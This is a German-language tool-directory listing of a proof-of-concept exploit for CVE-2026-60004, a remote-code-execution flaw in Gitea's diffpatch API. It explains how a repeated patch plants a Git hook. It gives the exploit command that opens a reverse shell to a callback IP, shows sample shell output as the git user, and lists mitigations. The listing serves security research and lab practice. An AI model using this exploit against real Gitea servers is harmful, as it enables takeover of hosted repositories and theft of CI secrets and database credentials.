Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-60004 — Gitea diffpatch RCE | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-60004
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubeqstlab/cve-2026-60004

CVE-2026-60004

Gitea diffpatch RCE

Repository anzeigen
16vor 22 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


Übersicht

CVE-2026-60004 ist eine Remote-Code-Execution-Schwachstelle (RCE) in Gitea. Die diffpatch-API wendet einen übermittelten Patch mit git apply --cached an, das nur den Index berühren und niemals Dateien auf die Festplatte schreiben sollte. Durch das zweimalige Senden desselben Patches erzwingt ein Angreifer eine Add/Add-Kollision, die den Three-Way-Merge-Fallback (-3) von Git auslöst. Dieser Pfad ignoriert --cached und checkt die Datei in den Arbeitsbaum aus. Da der temporäre Klon bare ist, ist die Wurzel des Arbeitsbaums $GIT_DIR. Ein Patch, der ein ausführbares hooks/post-index-change erstellt, platziert daher einen aktiven Git-Hook, den Git beim nächsten Index-Update automatisch ausführt – und dabei Befehle als Gitea-Dienstkonto ausführt. Der Endpunkt erfordert Schreibzugriff auf das Repository, aber die Registrierung ist standardmäßig aktiviert, sodass jeder Benutzer, der sich anmelden und ein Repository erstellen kann, ihn erreichen kann.

Tool herunterladen

Betroffene Versionen

KategorieVersion
VerwundbarGitea 1.17 ≤ Version ≤ 1.27.0
BehobenGitea 1.27.1 oder neuer

Auswirkungen

  • Remote-Code-Ausführung als Gitea-Dienstkonto (git)
  • Zugriff auf alle gehosteten Repositories, CI-Secrets und Datenbank-Anmeldedaten

Umgebung

Die verwundbare Gitea-Umgebung bauen und ausführen. Die Registrierung bleibt offen und der Server wird mit Git 2.32+ ausgeliefert, was den -3-Fallback aktiviert, auf den sich der Angriff stützt.

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
VoraussetzungZustand in diesem Labor
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ auf dem Server (aktiviert -3)2.54
Offene Registrierungaktiviert (Standard)
Schreibzugriff auf das Repositoryüber selbst registriertes Konto

PoC

Der Exploit wird vollständig von gitea_exploit.py automatisiert. Mit einem Konto, das ein Repository erstellen kann, erstellt es das Ziel-Repository, übermittelt denselben Patch wiederholt, bis Gits -3-Fallback auslöst, und fängt die Reverse Shell mit einem integrierten Listener ab – kein manuelles Setup, kein Patch-Basteln und keine Blob-Hash-Berechnung nötig.

root@kitploit:~
# python3 gitea_exploit.py <Ziel-ip:port> <Callback-ip> [Callback-port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

Der -3-Fallback feuert nur in bestimmten Timing-Fenstern, daher schleift das Skript create → send → send, bis es zuschlägt (Standard: 25 Versuche). Wenn ein Send blockiert, hat der Hook gefeuert und der Listener lässt dich in eine Shell als git fallen:

root@kitploit:~
[*] Versuch  3/25 -> send#1 201, send#2 timeout   <- BLOCKIERT (gefeuert!)
[+] Shell von 172.17.0.2:53344 -- Befehle eingeben, Ctrl-C zum Beenden
uid=1000(git) gid=1000(git) groups=1000(git)

Optionen:

  • --no-listen — fange die Shell mit deinem eigenen externen nc statt mit dem integrierten Listener
  • --user / --pw / --repo / --branch — überschreibe das Standardkonto und das Ziel-Repository

Gegenmaßnahmen

  • Gitea auf 1.27.1 oder neuer aktualisieren
  • Offene Registrierung deaktivieren, falls nicht erforderlich (DISABLE_REGISTRATION=true)
  • Einschränken, wer die Instanz erreichen und Repositories erstellen kann

Analyse

  • KR: Coming soon!
  • EN: